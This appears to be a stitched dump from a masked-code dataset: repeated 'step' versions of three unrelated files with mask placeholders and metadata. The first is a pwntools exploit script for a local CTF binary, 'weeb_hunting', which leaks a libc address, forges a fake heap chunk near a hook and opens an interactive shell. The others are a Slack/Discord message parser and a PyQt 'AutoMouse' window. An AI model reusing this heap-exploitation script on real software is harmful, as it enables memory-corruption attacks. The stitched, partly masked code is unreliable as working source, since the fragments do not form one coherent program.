"step-2": "<mask token>\npwnlib.gdb.attach(p)\n<mask token>\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('AAAA\\n')\np.send('AAAA\\n')\n<mask token>\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('AAAA\\n')\np.send('AAAA\\n')\n<mask token>\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('AAAA\\n')\np.send('\\n')\n<mask token>\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('\\n')\np.send('\\n')\n<mask token>\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('1')\n<mask token>\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('4')\n<mask token>\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('A\"`')\n<mask token>\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('AAAA')\n<mask token>\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('AAAA')\n<mask token>\nwhile 'You found a sword' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA` `')\n<mask token>\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\n<mask token>\nlog.info(hex(__srandom))\n<mask token>\nlog.info('Fake chunk: ' + hex(hook))\np.sendline('2')\n<mask token>\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('3')\n<mask token>\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('4')\n<mask token>\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('3')\n<mask token>\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline(p64(hook)[:6])\np.interactive()\n",
"step-3": "<mask token>\np = process('./weeb_hunting')\nelf = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')\npwnlib.gdb.attach(p)\nr = p.recv()\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('AAAA\\n')\np.send('AAAA\\n')\nr = p.recv()\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('AAAA\\n')\np.send('AAAA\\n')\nr = p.recv()\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('AAAA\\n')\np.send('\\n')\nr = p.recv()\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('\\n')\np.send('\\n')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('1')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('4')\nr = p.recv()\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('A\"`')\nr = p.recv()\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('AAAA')\nr = p.recv()\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('AAAA')\nr = p.recv()\nwhile 'You found a sword' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA` `')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\n__srandom = u64((r.split('1. ')[1].split('\\n')[0] + '\\x00' * 8)[:8])\nlog.info(hex(__srandom))\nhook = __srandom + 3711517\nlog.info('Fake chunk: ' + hex(hook))\np.sendline('2')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('3')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('4')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('3')\nr = p.recv()\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline(p64(hook)[:6])\np.interactive()\n",
"step-4": "from pwn import *\np = process('./weeb_hunting')\nelf = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')\npwnlib.gdb.attach(p)\nr = p.recv()\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('AAAA\\n')\np.send('AAAA\\n')\nr = p.recv()\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('AAAA\\n')\np.send('AAAA\\n')\nr = p.recv()\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('AAAA\\n')\np.send('\\n')\nr = p.recv()\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('\\n')\np.send('\\n')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('1')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('4')\nr = p.recv()\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('A\"`')\nr = p.recv()\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('AAAA')\nr = p.recv()\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('AAAA')\nr = p.recv()\nwhile 'You found a sword' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA` `')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\n__srandom = u64((r.split('1. ')[1].split('\\n')[0] + '\\x00' * 8)[:8])\nlog.info(hex(__srandom))\nhook = __srandom + 3711517\nlog.info('Fake chunk: ' + hex(hook))\np.sendline('2')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('3')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('4')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('3')\nr = p.recv()\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline(p64(hook)[:6])\np.interactive()\n",
"step-5": "from pwn import *\n\np = process(\"./weeb_hunting\")\n\nelf = ELF(\"/lib/x86_64-linux-gnu/libc-2.23.so\")\n\npwnlib.gdb.attach(p)\n\nr = p.recv()\nwhile \"You found a\" not in r:\n\tr = p.recvuntil(\">\")\n\tp.send(\"AAAA\\n\")\np.send(\"AAAA\\n\")\nr = p.recv()\nwhile \"You found a\" not in r:\n\tr = p.recvuntil(\">\")\n\tp.send(\"AAAA\\n\")\np.send(\"AAAA\\n\")\nr = p.recv()\nwhile \"You found a\" not in r:\n\tr = p.recvuntil(\">\")\n\tp.send(\"AAAA\\n\")\np.send(\"\\n\")\nr = p.recv()\nwhile \"You found a\" not in r:\n\tr = p.recvuntil(\">\")\n\tp.send(\"\\n\")\np.send(\"\\n\")\nr = p.recv()\n\nwhile \"10. empty\" not in r:\n\tp.send(\"\\n\")\n\tr = p.recv()\n\np.sendline(\"1\")\n\nr = p.recv()\nwhile \"10. empty\" not in r:\n\tp.send(\"\\n\")\n\tr = p.recv()\n\np.sendline(\"4\")\n\nr = p.recv()\nwhile \"You found a\" not in r:\n\tp.send(\"\\n\")\n\tr = p.recv()\n\np.sendline('\\x41\\x22\\x60')\n\nr = p.recv()\nwhile \"You found a\" not in r:\n\tp.send(\"\\n\")\n\tr = p.recv()\n\np.sendline('AAAA')\nr = p.recv()\nwhile \"You found a\" not in r:\n\tp.send(\"\\n\")\n\tr = p.recv()\n\np.sendline('AAAA')\n\nr = p.recv()\nwhile \"You found a sword\" not in r:\n\tp.send(\"\\n\")\n\tr = p.recv()\n\np.sendline(\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA` `\")\n\nr = p.recv()\nwhile \"10. empty\" not in r:\n\tp.send(\"\\n\")\n\tr = p.recv()\n\n__srandom = u64((r.split(\"1. \")[1].split(\"\\n\")[0] + \"\\x00\"*8)[:8])\nlog.info(hex(__srandom))\n\nhook = __srandom + 0x38A21D\n\nlog.info(\"Fake chunk: \" + hex(hook))\n\np.sendline(\"2\")\nr = p.recv()\n\nwhile \"10. empty\" not in r:\n\tp.send(\"\\n\")\n\tr = p.recv()\n\np.sendline(\"3\")\nr = p.recv()\n\nwhile \"10. empty\" not in r:\n\tp.send(\"\\n\")\n\tr = p.recv()\n\np.sendline(\"4\")\nr = p.recv()\n\nwhile \"10. empty\" not in r:\n\tp.send(\"\\n\")\n\tr = p.recv()\n\np.sendline(\"3\")\nr = p.recv()\nwhile \"You found a\" not in r:\n\tp.send(\"\\n\")\n\tr = p.recv()\n\np.sendline(p64(hook)[:6])\n\np.interactive()\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
"""slack_utils.py: slack-specific utilities"""
from os import path
import pprint
HERE = path.abspath(path.dirname(__file__))
PP = pprint.PrettyPrinter(indent=2)
def parse_slack_message_object(message_obj):
"""parse user_name/channel_name out of slack controller
Notes:
`slackbot.message`.keys(): [type, channel, user, text, ts, source_team, team]
Args:
message_obj (:obj:`slackbot.message`): response object for slack
Returns:
dict: message data
"""
metadata = dict(message_obj._body)
try:
metadata['channel_name'] = message_obj._client.channels[metadata['channel']]['name']
except KeyError:
metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(
message_obj._client.users[metadata['user']]['name']
)
metadata['user_name'] = message_obj._client.users[metadata['user']]['name']
metadata['team_name'] = message_obj._client.login_data['team']['name']
return metadata
def parse_discord_context_object(context_obj):
"""parse user_name/channel_name out of discord controller
Args:
context_obj (:obj:`discord.context`): response object for discord
Returns:
dict: standardized message data
"""
metadata = dict() # TODO: all context_obj.message.{children}.name values
metadata['user_name'] = context_obj.message.author.name
metadata['team_name'] = context_obj.message.server.name
try:
metadata['channel_name'] = context_obj.message.channel.name
except Exception:
metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(context_obj.message.author.name)
return metadata
|
normal
|
{
"blob_id": "2df2cccc22aba2104ab15820e13d304addf83f63",
"index": 7163,
"step-1": "<mask token>\n\n\ndef parse_slack_message_object(message_obj):\n \"\"\"parse user_name/channel_name out of slack controller\n\n Notes:\n `slackbot.message`.keys(): [type, channel, user, text, ts, source_team, team]\n\n Args:\n message_obj (:obj:`slackbot.message`): response object for slack\n\n Returns:\n dict: message data\n\n \"\"\"\n metadata = dict(message_obj._body)\n try:\n metadata['channel_name'] = message_obj._client.channels[metadata[\n 'channel']]['name']\n except KeyError:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(message_obj.\n _client.users[metadata['user']]['name'])\n metadata['user_name'] = message_obj._client.users[metadata['user']]['name']\n metadata['team_name'] = message_obj._client.login_data['team']['name']\n return metadata\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef parse_slack_message_object(message_obj):\n \"\"\"parse user_name/channel_name out of slack controller\n\n Notes:\n `slackbot.message`.keys(): [type, channel, user, text, ts, source_team, team]\n\n Args:\n message_obj (:obj:`slackbot.message`): response object for slack\n\n Returns:\n dict: message data\n\n \"\"\"\n metadata = dict(message_obj._body)\n try:\n metadata['channel_name'] = message_obj._client.channels[metadata[\n 'channel']]['name']\n except KeyError:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(message_obj.\n _client.users[metadata['user']]['name'])\n metadata['user_name'] = message_obj._client.users[metadata['user']]['name']\n metadata['team_name'] = message_obj._client.login_data['team']['name']\n return metadata\n\n\ndef parse_discord_context_object(context_obj):\n \"\"\"parse user_name/channel_name out of discord controller\n\n Args:\n context_obj (:obj:`discord.context`): response object for discord\n\n Returns:\n dict: standardized message data\n\n \"\"\"\n metadata = dict()\n metadata['user_name'] = context_obj.message.author.name\n metadata['team_name'] = context_obj.message.server.name\n try:\n metadata['channel_name'] = context_obj.message.channel.name\n except Exception:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(context_obj.\n message.author.name)\n return metadata\n",
"step-3": "<mask token>\nHERE = path.abspath(path.dirname(__file__))\nPP = pprint.PrettyPrinter(indent=2)\n\n\ndef parse_slack_message_object(message_obj):\n \"\"\"parse user_name/channel_name out of slack controller\n\n Notes:\n `slackbot.message`.keys(): [type, channel, user, text, ts, source_team, team]\n\n Args:\n message_obj (:obj:`slackbot.message`): response object for slack\n\n Returns:\n dict: message data\n\n \"\"\"\n metadata = dict(message_obj._body)\n try:\n metadata['channel_name'] = message_obj._client.channels[metadata[\n 'channel']]['name']\n except KeyError:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(message_obj.\n _client.users[metadata['user']]['name'])\n metadata['user_name'] = message_obj._client.users[metadata['user']]['name']\n metadata['team_name'] = message_obj._client.login_data['team']['name']\n return metadata\n\n\ndef parse_discord_context_object(context_obj):\n \"\"\"parse user_name/channel_name out of discord controller\n\n Args:\n context_obj (:obj:`discord.context`): response object for discord\n\n Returns:\n dict: standardized message data\n\n \"\"\"\n metadata = dict()\n metadata['user_name'] = context_obj.message.author.name\n metadata['team_name'] = context_obj.message.server.name\n try:\n metadata['channel_name'] = context_obj.message.channel.name\n except Exception:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(context_obj.\n message.author.name)\n return metadata\n",
"step-4": "<mask token>\nfrom os import path\nimport pprint\nHERE = path.abspath(path.dirname(__file__))\nPP = pprint.PrettyPrinter(indent=2)\n\n\ndef parse_slack_message_object(message_obj):\n \"\"\"parse user_name/channel_name out of slack controller\n\n Notes:\n `slackbot.message`.keys(): [type, channel, user, text, ts, source_team, team]\n\n Args:\n message_obj (:obj:`slackbot.message`): response object for slack\n\n Returns:\n dict: message data\n\n \"\"\"\n metadata = dict(message_obj._body)\n try:\n metadata['channel_name'] = message_obj._client.channels[metadata[\n 'channel']]['name']\n except KeyError:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(message_obj.\n _client.users[metadata['user']]['name'])\n metadata['user_name'] = message_obj._client.users[metadata['user']]['name']\n metadata['team_name'] = message_obj._client.login_data['team']['name']\n return metadata\n\n\ndef parse_discord_context_object(context_obj):\n \"\"\"parse user_name/channel_name out of discord controller\n\n Args:\n context_obj (:obj:`discord.context`): response object for discord\n\n Returns:\n dict: standardized message data\n\n \"\"\"\n metadata = dict()\n metadata['user_name'] = context_obj.message.author.name\n metadata['team_name'] = context_obj.message.server.name\n try:\n metadata['channel_name'] = context_obj.message.channel.name\n except Exception:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(context_obj.\n message.author.name)\n return metadata\n",
"step-5": "\"\"\"slack_utils.py: slack-specific utilities\"\"\"\nfrom os import path\nimport pprint\n\nHERE = path.abspath(path.dirname(__file__))\nPP = pprint.PrettyPrinter(indent=2)\n\ndef parse_slack_message_object(message_obj):\n \"\"\"parse user_name/channel_name out of slack controller\n\n Notes:\n `slackbot.message`.keys(): [type, channel, user, text, ts, source_team, team]\n\n Args:\n message_obj (:obj:`slackbot.message`): response object for slack\n\n Returns:\n dict: message data\n\n \"\"\"\n metadata = dict(message_obj._body)\n try:\n metadata['channel_name'] = message_obj._client.channels[metadata['channel']]['name']\n except KeyError:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(\n message_obj._client.users[metadata['user']]['name']\n )\n metadata['user_name'] = message_obj._client.users[metadata['user']]['name']\n metadata['team_name'] = message_obj._client.login_data['team']['name']\n\n return metadata\n\ndef parse_discord_context_object(context_obj):\n \"\"\"parse user_name/channel_name out of discord controller\n\n Args:\n context_obj (:obj:`discord.context`): response object for discord\n\n Returns:\n dict: standardized message data\n\n \"\"\"\n metadata = dict() # TODO: all context_obj.message.{children}.name values\n metadata['user_name'] = context_obj.message.author.name\n metadata['team_name'] = context_obj.message.server.name\n try:\n metadata['channel_name'] = context_obj.message.channel.name\n except Exception:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(context_obj.message.author.name)\n\n return metadata\n",
"step-ids": [
1,
2,
3,
4,
5
]
}
|
[
1,
2,
3,
4,
5
] |
<|reserved_special_token_0|>
class MainCentralWidget(QWidget):
def __init__(self):
super().__init__()
tab_bar = self.getTabBar(('录制', '运行'))
tab_page = self.getTabPage()
tab_bar.currentRowChanged.connect(tab_page.setCurrentIndex)
hbox = QHBoxLayout(spacing=0)
hbox.setContentsMargins(0, 0, 0, 0)
hbox.addWidget(tab_bar)
hbox.addWidget(tab_page)
self.setLayout(hbox)
<|reserved_special_token_0|>
def getTabPage(self):
tab_page = QStackedWidget()
tab_page.addWidget(RecordWidget())
tab_page.addWidget(RunWidget())
return tab_page
class MainWindow(QMainWindow):
def __init__(self):
super().__init__()
self.setGeometry(50, 50, 900, 300)
self.setWindowTitle('AutoMouse')
self.setCentralWidget(MainCentralWidget())
self.show()
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class MainCentralWidget(QWidget):
def __init__(self):
super().__init__()
tab_bar = self.getTabBar(('录制', '运行'))
tab_page = self.getTabPage()
tab_bar.currentRowChanged.connect(tab_page.setCurrentIndex)
hbox = QHBoxLayout(spacing=0)
hbox.setContentsMargins(0, 0, 0, 0)
hbox.addWidget(tab_bar)
hbox.addWidget(tab_page)
self.setLayout(hbox)
def getTabBar(self, names):
tab_bar = QListWidget()
tab_bar.setStyleSheet(QListWidget_qss())
tab_bar.setFrameShape(QListWidget.NoFrame)
tab_bar.setItemAlignment(Qt.AlignCenter)
tab_bar.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)
for name in names:
item = QListWidgetItem(name)
item.setTextAlignment(Qt.AlignCenter)
item.setSizeHint(QSize(50, 50))
tab_bar.addItem(item)
tab_bar.setCurrentRow(0)
return tab_bar
def getTabPage(self):
tab_page = QStackedWidget()
tab_page.addWidget(RecordWidget())
tab_page.addWidget(RunWidget())
return tab_page
class MainWindow(QMainWindow):
def __init__(self):
super().__init__()
self.setGeometry(50, 50, 900, 300)
self.setWindowTitle('AutoMouse')
self.setCentralWidget(MainCentralWidget())
self.show()
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def QListWidget_qss():
return """
QListWidget{
outline: 0px;
}
QListWidget {
min-width: 30px;
max-width: 50px;
color: Black;
background: #CCCCCC;
}
QListWidget::Item:selected {
background: #888888;
border-left: 5px solid red;
}
HistoryPanel:hover {
background: rgb(52, 52, 52);
}
"""
class MainCentralWidget(QWidget):
def __init__(self):
super().__init__()
tab_bar = self.getTabBar(('录制', '运行'))
tab_page = self.getTabPage()
tab_bar.currentRowChanged.connect(tab_page.setCurrentIndex)
hbox = QHBoxLayout(spacing=0)
hbox.setContentsMargins(0, 0, 0, 0)
hbox.addWidget(tab_bar)
hbox.addWidget(tab_page)
self.setLayout(hbox)
def getTabBar(self, names):
tab_bar = QListWidget()
tab_bar.setStyleSheet(QListWidget_qss())
tab_bar.setFrameShape(QListWidget.NoFrame)
tab_bar.setItemAlignment(Qt.AlignCenter)
tab_bar.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)
for name in names:
item = QListWidgetItem(name)
item.setTextAlignment(Qt.AlignCenter)
item.setSizeHint(QSize(50, 50))
tab_bar.addItem(item)
tab_bar.setCurrentRow(0)
return tab_bar
def getTabPage(self):
tab_page = QStackedWidget()
tab_page.addWidget(RecordWidget())
tab_page.addWidget(RunWidget())
return tab_page
class MainWindow(QMainWindow):
def __init__(self):
super().__init__()
self.setGeometry(50, 50, 900, 300)
self.setWindowTitle('AutoMouse')
self.setCentralWidget(MainCentralWidget())
self.show()
<|reserved_special_token_0|>
<|reserved_special_token_1|>
import sys
from collections import namedtuple
from PyQt5.QtWidgets import QApplication, QWidget, QMainWindow, QHBoxLayout, QStackedWidget, QListWidget, QListWidgetItem
from PyQt5.QtCore import Qt, QSize
from runWidget import RunWidget
from recordWidget import RecordWidget
def QListWidget_qss():
return """
QListWidget{
outline: 0px;
}
QListWidget {
min-width: 30px;
max-width: 50px;
color: Black;
background: #CCCCCC;
}
QListWidget::Item:selected {
background: #888888;
border-left: 5px solid red;
}
HistoryPanel:hover {
background: rgb(52, 52, 52);
}
"""
class MainCentralWidget(QWidget):
def __init__(self):
super().__init__()
tab_bar = self.getTabBar(('录制', '运行'))
tab_page = self.getTabPage()
tab_bar.currentRowChanged.connect(tab_page.setCurrentIndex)
hbox = QHBoxLayout(spacing=0)
hbox.setContentsMargins(0, 0, 0, 0)
hbox.addWidget(tab_bar)
hbox.addWidget(tab_page)
self.setLayout(hbox)
def getTabBar(self, names):
tab_bar = QListWidget()
tab_bar.setStyleSheet(QListWidget_qss())
tab_bar.setFrameShape(QListWidget.NoFrame)
tab_bar.setItemAlignment(Qt.AlignCenter)
tab_bar.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)
for name in names:
item = QListWidgetItem(name)
item.setTextAlignment(Qt.AlignCenter)
item.setSizeHint(QSize(50, 50))
tab_bar.addItem(item)
tab_bar.setCurrentRow(0)
return tab_bar
def getTabPage(self):
tab_page = QStackedWidget()
tab_page.addWidget(RecordWidget())
tab_page.addWidget(RunWidget())
return tab_page
class MainWindow(QMainWindow):
def __init__(self):
super().__init__()
self.setGeometry(50, 50, 900, 300)
self.setWindowTitle('AutoMouse')
self.setCentralWidget(MainCentralWidget())
self.show()
if __name__ == '__main__':
app = QApplication(sys.argv)
main_window = MainWindow()
sys.exit(app.exec_())
<|reserved_special_token_1|>
import sys
from collections import namedtuple
from PyQt5.QtWidgets import QApplication, QWidget, QMainWindow, \
QHBoxLayout, QStackedWidget, QListWidget, QListWidgetItem
from PyQt5.QtCore import Qt, QSize
from runWidget import RunWidget
from recordWidget import RecordWidget
def QListWidget_qss():
return '''
QListWidget{
outline: 0px;
}
QListWidget {
min-width: 30px;
max-width: 50px;
color: Black;
background: #CCCCCC;
}
QListWidget::Item:selected {
background: #888888;
border-left: 5px solid red;
}
HistoryPanel:hover {
background: rgb(52, 52, 52);
}
'''
class MainCentralWidget(QWidget):
def __init__(self):
super().__init__()
tab_bar = self.getTabBar(('录制', '运行'))
tab_page = self.getTabPage()
tab_bar.currentRowChanged.connect(tab_page.setCurrentIndex)
hbox = QHBoxLayout(spacing=0)
hbox.setContentsMargins(0, 0, 0, 0)
hbox.addWidget(tab_bar)
hbox.addWidget(tab_page)
self.setLayout(hbox)
def getTabBar(self, names):
tab_bar = QListWidget()
tab_bar.setStyleSheet(QListWidget_qss())
tab_bar.setFrameShape(QListWidget.NoFrame)
tab_bar.setItemAlignment(Qt.AlignCenter)
tab_bar.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)
for name in names:
item = QListWidgetItem(name)
item.setTextAlignment(Qt.AlignCenter)
item.setSizeHint(QSize(50, 50))
tab_bar.addItem(item)
tab_bar.setCurrentRow(0)
return tab_bar
def getTabPage(self):
tab_page = QStackedWidget()
tab_page.addWidget(RecordWidget())
tab_page.addWidget(RunWidget())
return tab_page
class MainWindow(QMainWindow):
def __init__(self):
super().__init__()
self.setGeometry(50, 50, 900, 300)
self.setWindowTitle('AutoMouse')
self.setCentralWidget(MainCentralWidget())
self.show()
if __name__ == '__main__':
app = QApplication(sys.argv)
main_window = MainWindow()
sys.exit(app.exec_())
|
flexible
|
{
"blob_id": "252a6b97f108b7fdc165ccb2a7f61ce31f129d3d",
"index": 8693,
"step-1": "<mask token>\n\n\nclass MainCentralWidget(QWidget):\n\n def __init__(self):\n super().__init__()\n tab_bar = self.getTabBar(('录制', '运行'))\n tab_page = self.getTabPage()\n tab_bar.currentRowChanged.connect(tab_page.setCurrentIndex)\n hbox = QHBoxLayout(spacing=0)\n hbox.setContentsMargins(0, 0, 0, 0)\n hbox.addWidget(tab_bar)\n hbox.addWidget(tab_page)\n self.setLayout(hbox)\n <mask token>\n\n def getTabPage(self):\n tab_page = QStackedWidget()\n tab_page.addWidget(RecordWidget())\n tab_page.addWidget(RunWidget())\n return tab_page\n\n\nclass MainWindow(QMainWindow):\n\n def __init__(self):\n super().__init__()\n self.setGeometry(50, 50, 900, 300)\n self.setWindowTitle('AutoMouse')\n self.setCentralWidget(MainCentralWidget())\n self.show()\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass MainCentralWidget(QWidget):\n\n def __init__(self):\n super().__init__()\n tab_bar = self.getTabBar(('录制', '运行'))\n tab_page = self.getTabPage()\n tab_bar.currentRowChanged.connect(tab_page.setCurrentIndex)\n hbox = QHBoxLayout(spacing=0)\n hbox.setContentsMargins(0, 0, 0, 0)\n hbox.addWidget(tab_bar)\n hbox.addWidget(tab_page)\n self.setLayout(hbox)\n\n def getTabBar(self, names):\n tab_bar = QListWidget()\n tab_bar.setStyleSheet(QListWidget_qss())\n tab_bar.setFrameShape(QListWidget.NoFrame)\n tab_bar.setItemAlignment(Qt.AlignCenter)\n tab_bar.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)\n for name in names:\n item = QListWidgetItem(name)\n item.setTextAlignment(Qt.AlignCenter)\n item.setSizeHint(QSize(50, 50))\n tab_bar.addItem(item)\n tab_bar.setCurrentRow(0)\n return tab_bar\n\n def getTabPage(self):\n tab_page = QStackedWidget()\n tab_page.addWidget(RecordWidget())\n tab_page.addWidget(RunWidget())\n return tab_page\n\n\nclass MainWindow(QMainWindow):\n\n def __init__(self):\n super().__init__()\n self.setGeometry(50, 50, 900, 300)\n self.setWindowTitle('AutoMouse')\n self.setCentralWidget(MainCentralWidget())\n self.show()\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\ndef QListWidget_qss():\n return \"\"\"\n QListWidget{\n outline: 0px;\n }\n\n QListWidget {\n min-width: 30px;\n max-width: 50px;\n color: Black;\n background: #CCCCCC;\n }\n\n QListWidget::Item:selected {\n background: #888888;\n border-left: 5px solid red;\n }\n HistoryPanel:hover {\n background: rgb(52, 52, 52);\n }\n \"\"\"\n\n\nclass MainCentralWidget(QWidget):\n\n def __init__(self):\n super().__init__()\n tab_bar = self.getTabBar(('录制', '运行'))\n tab_page = self.getTabPage()\n tab_bar.currentRowChanged.connect(tab_page.setCurrentIndex)\n hbox = QHBoxLayout(spacing=0)\n hbox.setContentsMargins(0, 0, 0, 0)\n hbox.addWidget(tab_bar)\n hbox.addWidget(tab_page)\n self.setLayout(hbox)\n\n def getTabBar(self, names):\n tab_bar = QListWidget()\n tab_bar.setStyleSheet(QListWidget_qss())\n tab_bar.setFrameShape(QListWidget.NoFrame)\n tab_bar.setItemAlignment(Qt.AlignCenter)\n tab_bar.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)\n for name in names:\n item = QListWidgetItem(name)\n item.setTextAlignment(Qt.AlignCenter)\n item.setSizeHint(QSize(50, 50))\n tab_bar.addItem(item)\n tab_bar.setCurrentRow(0)\n return tab_bar\n\n def getTabPage(self):\n tab_page = QStackedWidget()\n tab_page.addWidget(RecordWidget())\n tab_page.addWidget(RunWidget())\n return tab_page\n\n\nclass MainWindow(QMainWindow):\n\n def __init__(self):\n super().__init__()\n self.setGeometry(50, 50, 900, 300)\n self.setWindowTitle('AutoMouse')\n self.setCentralWidget(MainCentralWidget())\n self.show()\n\n\n<mask token>\n",
"step-4": "import sys\nfrom collections import namedtuple\nfrom PyQt5.QtWidgets import QApplication, QWidget, QMainWindow, QHBoxLayout, QStackedWidget, QListWidget, QListWidgetItem\nfrom PyQt5.QtCore import Qt, QSize\nfrom runWidget import RunWidget\nfrom recordWidget import RecordWidget\n\n\ndef QListWidget_qss():\n return \"\"\"\n QListWidget{\n outline: 0px;\n }\n\n QListWidget {\n min-width: 30px;\n max-width: 50px;\n color: Black;\n background: #CCCCCC;\n }\n\n QListWidget::Item:selected {\n background: #888888;\n border-left: 5px solid red;\n }\n HistoryPanel:hover {\n background: rgb(52, 52, 52);\n }\n \"\"\"\n\n\nclass MainCentralWidget(QWidget):\n\n def __init__(self):\n super().__init__()\n tab_bar = self.getTabBar(('录制', '运行'))\n tab_page = self.getTabPage()\n tab_bar.currentRowChanged.connect(tab_page.setCurrentIndex)\n hbox = QHBoxLayout(spacing=0)\n hbox.setContentsMargins(0, 0, 0, 0)\n hbox.addWidget(tab_bar)\n hbox.addWidget(tab_page)\n self.setLayout(hbox)\n\n def getTabBar(self, names):\n tab_bar = QListWidget()\n tab_bar.setStyleSheet(QListWidget_qss())\n tab_bar.setFrameShape(QListWidget.NoFrame)\n tab_bar.setItemAlignment(Qt.AlignCenter)\n tab_bar.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)\n for name in names:\n item = QListWidgetItem(name)\n item.setTextAlignment(Qt.AlignCenter)\n item.setSizeHint(QSize(50, 50))\n tab_bar.addItem(item)\n tab_bar.setCurrentRow(0)\n return tab_bar\n\n def getTabPage(self):\n tab_page = QStackedWidget()\n tab_page.addWidget(RecordWidget())\n tab_page.addWidget(RunWidget())\n return tab_page\n\n\nclass MainWindow(QMainWindow):\n\n def __init__(self):\n super().__init__()\n self.setGeometry(50, 50, 900, 300)\n self.setWindowTitle('AutoMouse')\n self.setCentralWidget(MainCentralWidget())\n self.show()\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n main_window = MainWindow()\n sys.exit(app.exec_())\n",
